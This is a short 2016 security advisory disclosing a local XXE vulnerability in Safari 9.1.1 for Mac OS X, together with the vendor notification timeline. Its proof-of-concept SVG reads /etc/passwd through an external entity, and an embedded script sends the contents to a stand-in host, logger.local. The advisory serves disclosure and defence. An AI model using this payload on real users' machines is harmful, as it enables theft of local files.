Apple Safari 9.1.1 Local XXE Injection
Posted on 05 July 2016
Advisory ID: SGMA16-003 Title: Apple Safari for Mac OS X SVG local XXE Product: Apple Safari for Mac OS X Version: 9.1.1 and probably prior Vendor: apple.com Vulnerability type: XXE Risk level: Medium Credit: Filippo Cavallarin - wearesegment.com CVE: N/A Vendor notification: 2015-04-08 Vendor fix: N/A Public disclosure: 2016-07-05 Details Safari for MACOSX is prone to an XXE vulnerability when processing crafted SVG images. An attacker may use this vulnerability to steal files from local computer by tricking a user into opening and SVG image from a local location (ie USB key). This vulnerability is mitigated by the file quarantine and do not work with downloaded files. Proof of concept: <?xml version="1.0" standalone="no"?> <!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="19000px" xmlns:xlink="http://www.w3.org/1999/xlink" > <text x="-1000" y="-1000" >&xxe;</text> <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" /> <script> var logger = "http://logger.local/?file=" + encodeURIComponent(document.getElementsByTagName("text")[0].innerHTML); document.createElementNS('http://www.w3.org/2000/svg','image').setAttributeNS('http://www.w3.org/1999/xlink','href', logger); </script> </svg> Notes The vendor has been notified more than one year before public disclosure and the answer was that the issue was still under analisys. We contacted the vendor again a few weeks before public disclosure but we got no reply. Solution N/A References https://www.wearesegment.com/research/Apple-Safari-for-Mac-OS-X-SVG-local-XXE
